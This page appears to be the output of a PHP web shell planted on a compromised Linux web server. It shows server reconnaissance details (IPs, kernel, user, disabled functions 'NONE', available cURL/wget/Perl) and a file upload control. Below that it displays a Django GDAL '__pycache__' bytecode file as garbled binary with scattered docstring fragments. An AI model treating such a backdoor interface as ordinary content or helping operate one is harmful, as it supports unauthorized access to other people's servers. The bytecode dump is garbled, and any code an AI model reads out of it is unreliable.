| Server IP : 217.160.0.135 / Your IP : 216.73.217.85 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/django/contrib/gis/gdal/__pycache__/ |
Upload File : |
�
�|�e� � �\ � d dl mZmZ d dlmZmZmZ d dlmZ d dlm Z d dl
mZ d dl
mZ G d� de� � Z G d � d
e� � Z G d� de� � Z G d
� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� d e� � Z G d!� d"e� � Z G d#� d$e� � Zeeeeeeeeeeeeeed%�Zd&� e� � � D � � Z d'S )(� )�byref�c_int)�date�datetime�time)�GDALBase)�
GDALException)�ds)� force_strc �� � e Zd ZdZd� Zd� Zd� Zdd�Zd� Zd� Z e
d � � � Ze
d
� � � Ze
d� � � Z
e
d� � � Ze
d
� � � Ze
d� � � Ze
d� � � ZdS )�FieldzL
Wrap an OGR Field. Needs to be instantiated from a Feature object.
c � � || _ || _ t j |j |� � }|st d� � �|| _ t | j | _ dS )zq
Initialize on the feature object and the integer index of
the field within the feature.
z/Cannot create OGR Field, invalid pointer given.N) �_feat�_index�capi�get_feat_field_defn�ptrr �
OGRFieldTypes�type� __class__)�self�feat�index�fld_ptrs �?/usr/lib/python3/dist-packages/django/contrib/gis/gdal/field.py�__init__zField.__init__ s[ � � ��
���� �*�4�8�U�;�;��� S�� Q�R�R�R���� '�t�y�1����� c �N � t | j � � � � � S )z.Return the string representation of the Field.)�str�value�strip�r s r �__str__z
Field.__str__% s � ��4�:���$�$�&�&�&r c �\ � | j r$t j | j j | j � � ndS )z/Retrieve the Field's value as a double (float).N)�is_setr �get_field_as_doubler r r r"